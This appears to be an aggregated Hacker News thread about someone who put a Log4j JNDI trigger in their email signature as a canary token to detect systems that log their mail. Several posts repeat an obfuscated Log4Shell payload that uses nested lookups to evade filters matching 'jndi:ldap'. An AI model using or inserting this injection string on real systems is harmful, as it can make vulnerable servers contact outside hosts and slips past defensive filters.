Live data from Hacker News

"Log4j trigger in my signature so I can see logging copies of my mail"

twitter.com

1–8 of 8 posts

Re: "Log4j trigger in my signature so I can see logging copies of my mail"

#5
post #3

Lots of mail gateways / mail security appliances do DNS lookups of URLs in the message body in order to check domain reputation and filter phishing links. It looks like he's using a DNS canary token which would be triggered by those as well.

Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it:

    ${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a}
I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".

Re: "Log4j trigger in my signature so I can see logging copies of my mail"

#6
post #5
post #3

Lots of mail gateways / mail security appliances do DNS lookups of URLs in the message body in order to check domain reputation and filter phishing links. It looks like he's using a DNS canary token which would be triggered by those as well.

Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it: ${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a} I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".

The fact this apparently triggers an error in Reddit is freaking hilarious.

Re: "Log4j trigger in my signature so I can see logging copies of my mail"

#7
post #6
post #5

Earlier quoted context omitted.

Yep, see later in the thread for how I'm avoiding that now; basically it uses a second level of interpolation so that it will only expand to the token when log4j is expanding it: ${jndi:ldap://${::-t}${::-o}${::-k}${::-e}${::-n}/a} I stole this trick from my Apache logs; people are using it to bypass dumb filters that just trigger on "jndi:ldap".

The fact this apparently triggers an error in Reddit is freaking hilarious.

Many WAFs now block HTTP requests that will exploit it. Cloudflare (not what Reddit uses) does it for all customers automatically, for example.